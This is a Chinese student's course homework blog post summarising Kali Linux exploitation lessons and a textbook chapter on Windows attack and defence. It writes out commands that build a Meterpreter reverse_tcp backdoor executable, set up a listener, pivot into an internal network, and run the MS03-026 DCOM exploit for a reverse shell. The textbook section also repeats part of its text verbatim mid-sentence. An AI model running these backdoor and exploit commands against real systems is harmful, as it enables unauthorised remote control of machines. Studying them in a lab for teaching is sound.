2018-2019-2 20189221 《网络攻防技术》第七周作业

2018-2019-2 20189221 《网络攻防技术》第七周作业

视频学习(26-30)

KaliSecurity - 漏洞利用之检索与利用

1. searchsploit

searchsploit 可以借助关键词搜索漏洞信息以及漏洞对应的exp。

searchsploit wordpress列出了漏洞和文件地址:

2.ikat自动化开启不同的exp,等待目标访问中招。

3. termineter旨在评估智能电表的安全性

KaliSecurity - 漏洞利用之Metasploit基础

1. 启动服务

在Kali中使用Metasploit,需要先开启PostgreSQL数据库服务和metasploit服务,然后就可以利用msf数据库查询exploit和记录。

2. 路径介绍

Kali中msf的路径为/usr/share/metasploit-framework。

Auxiliary:辅助模块

encoders:供msfencode编码工具使用,具体可以使用 msfencode –l但显示命令不存在。

exploits:攻击模块 每个介绍msf的文章都会提到那个ms08_067_netapi,它就在这个目录下。

payloads:其中列出的是攻击载荷,也就是攻击成功后执行的代码。比如我们常设置的windows/meterpreter/reverse_tcp就在这个文件夹下。

post:后渗透阶段块,在获得meterpreter的shell之后可以使用攻击代码。比如常用的hashdump、arp_scanner就在这里。

3. 基本命令

msfpayload:用来生成payload或者shellcode。
搜索时可以用msfpayload -l |gre[ "windows"这样的命令查询。-o选项可以列出payload所需的参数。

msfencode:msf中的编码器,早期用来绕过AV(杀毒软件),现常用msfpayload与它编码避免exploit的坏字符串。

msfconsole:开启metasploit的console。
输入msfconsole,打开msf。

4. 测试示例:发现漏洞,搜索exploit






5. 测试示例:选择exploit,查看参数

查看参数,发现RHOST的参数还未设置,接下来为其设置参数

6. 测试示例:选择payload设置

设置好之后,show options查看参数

7. 执行攻击

输入exploit即可进行攻击测试,如果成功,将返回一个shell:

此时可查看id,ip地址,还有一些文件信息等,可获取目标主机的权限。

KaliSecuritt - 漏洞利用之Metasploit介绍

Meterpreter作为后渗透模块有很多类型,并且命令由核心命令和扩展库命令组成,极大的丰富了攻击方式。其有很多的功能,如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等。

常用的命令:

  • background 将当前会话放置后台
  • load/use 加载模块
  • interact 切换进一个信道
  • migrate 迁移进程
  • run 执行一个已有的模块
  • Resource 执行一个已有的rc脚本常用的meterpreter类型:
  • payload windows/meterpreter/reverse_tcp

1.生成Meterpreter后门


msfpayload windows/meterpreter/reverse_tcp
LHOST=192.168.71.149 LPORT=2333 R | msfencode -t exe -c 5 > /root/door.exe
/* 查看自己的IP地址为192.168.71.149,LHOST、LPORT为reverse_tcp的参数,可以在msf里查看到(记得把服务启动)*/



msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.71.149 LPORT=2333 -i 5 -f exe /root/door.exe


生成成功,将其移入XP系统中:

2. 打开MSF,开启监听(选择exploit/multi/handler)

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
show options
set LPORT 2333

修改监听端口:

3. 在目标机器上执行door.exe

在kali的msf中执行exploit开始监听:

KaliSecurity - 漏洞利用之Metasploit后渗透测试

在跳板获取一定权限后需要积极地向内网主机权限发展,获取指定的目标信息,探查系统漏洞,借助msf已经得到的Meterpreter后门,可以使系列的操作更容易。

  1. 查看当前网卡、网段信息(使用ifconfig)。可查看到三个网卡,一个是本地网卡,另一个是我们能访问的网卡,还有一个网卡具有内网IP(访问不到,可以ping以下试试)。
  2. 添加路由表run autoroute -s 10.0.0.1可以使用msf中的模块跨网段攻击或扫描。可通过脚本autoroute快速添加。
  3. 开socket代理,通过使用auxiliary/server/socks4a模块,创建一个socks代理,可以为浏览器,sqlmap,nmap使用。通过代理即可访问内网计算机。
  4. 通过background和session -i可以自由切换进入session。
  5. 输入run可以看到在meterpreter上可以做的很多命令。
    6.通过run post/可以看到后渗透测试模块
  6. 获取内网信息run arp_scanner -r 10.0.0.1/24
  7. 也可以上传文件,做端口转发后进行后续测试,例如upload lcx.exe c:\传送文件到c盘根目录。

KaliSecurity - 漏洞利用之BeEF

对XSS漏洞的利用需要一个强大的框架支持,BeeF是浏览器攻击框架的简称,是一款专注于浏览器端的渗透工具。

1. 命令行下启动BeeF

使用命令 beef-xss,打开浏览器,会自动跳转至beef登录页面:

进入主界面:

2. 假设被测试主机由于XSS漏洞请求到

测试利用:输入网址http://127.0.0.1:3000/demos/basic.html,可以进入一个测试页面:

主界面左端就可以看到一个在线主机:

3. HOOK持续的时间为关闭测试页面为止,在此期间相当于被控制了,可以发送攻击命令,在Commands模块我们可以完成很多任务。

4. 选取MISC下的Raw JavaScript模块为测试用例

有段表格有该模块的详细说明,以及一些可选的参数等。点击Excute进行攻击:

5.Proxy功能

选中目标主机,点右键,在菜单中选中use as proxy,然后在rider选项卡中的forge request 编辑并发送想要发送的内容:

信息发送后,可通过History选项看到,待传输成功后,点击相应的信息,即可显示详细的传输过程:

6.BeeF与Metasploit结合加载

BeeF默认是不加载Metasploit的,如果要使用Metasploit丰富的攻击模块,需要做些配置:

修改文件config.yaml

修改 /usr/share/beef-xss/config.yaml中的Metasploit一行为true:

重启beef加载Metasploit的攻击模块:

教材学习:《网络攻防技术与实践

第 7 章 Windows操作系统攻防

本章首先对Windows操作系统的安全体系结构和核心机制进行了简要介绍,然后讨论了远程口令猜测和破解攻击、网络服务远程渗透攻击,本地特权提升攻击、敏感信息窃取、掩踪灭迹和远程控制在内的各类主流Windows攻击技术。

本章还对Metasploit渗透测试开源软件以及Meterpreter强力木马工具进行了讲解。

本章最后简要介绍了针对这些主流攻击技术的安全控制机制和策略。

7.1 Windows操作系统基本框架概述

  • windows基本结构分为运行于处理器特权模式的操作系统内核以及运行在处理器非特权模式的用户,即为内核态和用户态。
  • 核心机制:进程和线程管理机制、内存管理机制、文件管理机制、注册表管理机制、网络管理机制。
  • 网络管理机制:网卡硬件驱动程序(物理层)、NDIS库以及miniport驱动程序(链路层)、TDI传输层(网络协议驱动)(网络层和传输层)、网络APID以及TDI客户端(会话层和表示层)、网络应用程序和服务进程(应用层).
7.2 Windows操作系统的安全体系结构与机制
  • 监控器模型:主体到客体的访问都通过监控器作中间,由引用监控器根据安全访问控制策略来进行授权访问,所有访问记录都由监控器生成审计日志。
  • 核心:SRM安全引用监控(内核中)、LSASS安全服务(用户态)、winlogon/netlogn、以及Eventlog。
  • 身份认证机制:安全主体:用户、用户组、计算机 身份认证:本地身份认证(winlogon进程、GINA图形化登录窗口与LSASS服务)、网络身份认证(NTLM、Lanman、kerberos)。
  • 授权与访问控制机制:对象:文件,目录,注册表键值,内核对象,同步对象,私有对象,管道,内存,通信接口。 属性组成:Owner SID,Group SID,DACL自主访问控制列表,SACL系统审计访问控制列表。
  • 安全审计机制
  • 其他安全机制:安全中心(防火墙、补丁自动更新、病毒防护),IPsec加载和验证机制,EPS加密文件系统,windows文件保护机制,捆绑的IE浏览器所提供的隐私保护和浏览器安全保护机制。

7.3 Windows远程安全攻防技术

  • 包括远程口令猜解攻击、windows网络服务攻击,windows客户端和用户攻击。
  • 远程口令猜解攻击: 远程口令猜解:SMB协议(tcp445、tcp139),其他包括WMI服务、TS远程桌面终端服务,MY SQL数据库服务、SharePoint。
  • 远程口令猜解的防范:关闭不必要的易受攻击的网络服务、配置主机防火墙来限制某些端口服务、网络防火墙限制这些服务的访问、禁用过时且有安全缺陷的Lanman和NTLM、指定强口令策略。
  • 网络服务远程渗透攻击:针对NETBIOS服务的著名漏洞和攻击、针对SMB服务的著名漏洞和攻击、针对MSRPC服务的著名漏洞和攻击、针对windows系统上微软网络的远程渗透攻击、针对windows系统上第三方服务的远程渗透攻击。
  • 网络服务远程渗透防范措施:最基本的是尽量避免与消除这些渗透攻击所依赖的服务软件安全漏洞。
  • 针对SMB网络服务的著名漏洞及攻击 服务消息块SMB是Windows操作系统中最为复杂,也最容易遭受远程渗透攻击的网络服务。SMB空会话是Windows网络中影响范围最广和时间最长的安全弱点之一。
  • 针对MSRPC网络服务的著名漏洞及攻击 MSRPC网络服务是微软Windows操作系统对DCE-RPC标准远程过程调用机制的实现。远程过程调用机制是现代操作系统最基本的支撑机制之一,允许一个应用程序能够无缝地通过网络调用远程主机上网络进程中的过程,在MSRPC实现中,可以采用如下的网络传输协议:
    • ncacn_ip_tcp:TCP/IP传输协议,使用TCP135端口
    • ncadg_ip_udp:UDP/IP传输协议,使用UDP135端口
    • ncacn_np:SMB命名管道传输协议,使用SMB的TCP139或445端口
    • ncalrpc:本地网络RPC传输
    • ncacn_http:HTTP传输协议,基于IIS服务,缺省配置在TCP593端口。
  • 针对Windows系统上微软网络服务的远程渗透攻击 IIS Internet服务集成了HTTP、FTP、SMTP、POP、NNTP等网络服务,并支持CGI、ASP、ISAPI等动态编程语言与接口,是微软服务器软件提供网站、电子邮件收发和文件共享服务的主要解决方案。MS SQL Server监听TCP1433与UDP1434端口,支持使用Windows用户账号进行身份认证模式。MS SQL Server自建用户身份认证模式,SQL Server数据库服务的登陆账号加密存储与master数据库的syslogins表中,并对用户进行角色管理和授权访问控制,同时提供访问日志功能,整体安全水平能够达到C2级别。
  • 使用Metasploit软件实施渗透测试 Metasploit软件采用开发框架和模块组建的可扩展模型,以Ruby语言编写的Metasploit Framework(MSF)库作为整个软件的基础核心,为渗透测试组建的开发与测试提供平台;模块组建是真正实施渗透攻击的代码,包括利用安全漏洞的Exploits模块,进行扫描、查点等其他辅助任务的Auxiliary模块,在目标系统上植入和运行的Shellcode攻击负载Payloads模块,对攻击负载进行编码以躲避检测的Encoders模块,以及对攻击负载进行填充的Nops模块;Metasploit提供多种用户接口,包括Console交互终端、命令行程序运行、Web交互界面以及GUI图形化界面;Metasploit还提供了API接口及插件支持,来支持第三方在MSF基础上开发扩展模块,比如自动化的渗透测试例程等等。
  • 使Metasploit Console终端实施渗透测试,只需运行如下命令
    • use exploit/windows/dcerpc/ms03_026_dcom,选择针对MS03_026漏洞的渗透攻击模块。
    • set PAYLOAD generic/shell reverse_tcp,选择该渗透攻击模块适用的攻击负载模块。
    • set LHOST 192.168.200.2;set RHOST 192.168.200.124,配置该渗透攻击模块和攻击负载模块所必须配置的参数。
    • exploit,实施渗透攻击过程。
    • 在远程控制会话中与目标主机进行交互,可能需要执行“sessions -I”列出当前已建立的远程控制会话,并执行“sessions –i数字”在指定的供给控制会话中与远程目标主机进行交互。

7.4 Windows本地安全攻防技术

  • 本地提权攻击:利用操作系统内核、特权用户启动程序中安全缺陷与漏洞,原因是服务器和桌面系统没有即时进行补丁更新。
  • 敏感信息窃取: windows系统口令密文提取技术(拷贝口令密文文件、rdisk工具备份、pwdumpx从SAM文件或者活动目录中提取口令密文) windows系统口令字破解技术、用户敏感数据窃取:find、findstr、grep、meterpreter 。
  • 本地敏感信息窃取防范:选择高强度、高防御的口令,使用更安全的加密明文算法,安全配置策略。 全漏洞的Exploits模块,进行扫描、查点等其他辅助任务的Auxiliary模块,在目标系统上植入和运行的Shellcode攻击负载Payloads模块,对攻击负载进行编码以躲避检测的Encoders模块,以及对攻击负载进行填充的Nops模块;Metasploit提供多种用户接口,包括Console交互终端、命令行程序运行、Web交互界面以及GUI图形化界面;Metasploit还提供了API接口及插件支持,来支持第三方在MSF基础上开发扩展模块,比如自动化的渗透测试例程等等。
  • 使Metasploit Console终端实施渗透测试,只需运行如下命令
    • use exploit/windows/dcerpc/ms03_026_dcom,选择针对MS03_026漏洞的渗透攻击模块。
    • set PAYLOAD generic/shell reverse_tcp,选择该渗透攻击模块适用的攻击负载模块。
    • set LHOST 192.168.200.2;set RHOST 192.168.200.124,配置该渗透攻击模块和攻击负载模块所必须配置的参数。
    • exploit,实施渗透攻击过程。
    • 在远程控制会话中与目标主机进行交互,可能需要执行“sessions -I”列出当前已建立的远程控制会话,并执行“sessions –i数字”在指定的供给控制会话中与远程目标主机进行交互。

7.4 Windows本地安全攻防技术

  • 本地提权攻击:利用操作系统内核、特权用户启动程序中安全缺陷与漏洞,原因是服务器和桌面系统没有即时进行补丁更新。
  • 敏感信息窃取: windows系统口令密文提取技术(拷贝口令密文文件、rdisk工具备份、pwdumpx从SAM文件或者活动目录中提取口令密文) windows系统口令字破解技术、用户敏感数据窃取:find、findstr、grep、meterpreter 。
  • 本地敏感信息窃取防范:选择高强度、高防御的口令,使用更安全的加密明文算法,安全配置策略。
原文地址:https://www.cnblogs.com/gdman/p/10665839.html